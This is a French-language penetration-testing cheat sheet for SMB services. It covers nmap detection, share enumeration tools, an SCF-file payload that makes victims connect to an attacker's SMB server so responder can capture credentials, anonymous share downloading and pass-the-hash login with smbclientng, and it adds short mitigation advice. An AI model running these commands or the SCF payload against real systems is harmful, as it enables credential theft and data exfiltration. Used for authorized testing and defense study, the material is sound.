139, 445 - SMB
Détection
nmap 10.11.0.0/16 -p 139,445 -A
Enumération
L’énumération des partages SMB peut se faire à l’aide de plusieurs commandes.
enum4linux-ng <IP>
smbmap -H <IP> -R
smbclient --list //<IP>/ -U ""
nmap 10.11.0.0/16 -p 139,445 --script='smb-enum-*'
smbmap
supporte l’argument ‘-A’ permettant de définir un filtre (regex) sur les fichiers trouvés par l’outil.
Il est important d’en tester plusieurs car elle ne retourne pas toujours les mêmes résultats (voir la box Arkham de HackTheBox).
Exploitation
SCF Files
Les fichiers SCF (Script Command Files) sont des fichiers permettant d’exécuter un certain nombre de commande sur un poste. Par exemple, en le déposant sur un share SMB, il peut par exemple ouvrir un lien UNC:
[Shell]
Command=2
IconFile=\\X.X.X.X\EXP\exploit.ico
[Taskbar]
Il suffit pour l’attaquant, d’ouvrir un serveur SMB pour récupérer des identifiants responder -wrf --lm -v -I eth0
ou smbserver.py -smb2support EXP ./
Preco :
- Use of Kerberos Authentication and SMB Signing
- Disallow write permissions in file shares for unauthenticated users
- Ensure that NTLMv2 password hash is used instead of LanMan
Ressources : https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
Exfiltration
smbclient
Si un share est indiqué comme lisible, il est ensuite possible de le parcourir à l’aide de smbclient:
# Anonymous
smbclient --no-pass --user '' //<IP>/<Share name>
# Guest
smbclient --no-pass --user 'foo' //<IP>/<Share name>
Il est ensuite possible de télécharger un dossier avec les commandes suivantes:
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
smbclientng
L’outil smbclientng permet d’obtenir des fonctionnalités supplémentaires intéressantes par rapport à la commande de base. Dans un premier temps, elle permet d’effectuer une connexion avec un hash NTLM:
smbclientng -H ':387aef0561b65e4f3cae0960b0fba2d5' -u 'administrator' --host 192.168.195.249
Ensuite, quelques fonctionnalités sont à noter:
bat
: identique à cat mais avec la coloration syntaxiqueget -r *
: équivalent à mgetmount
: permet de monter un partage sur la machinesmbclient –no-pass –user ’’ ///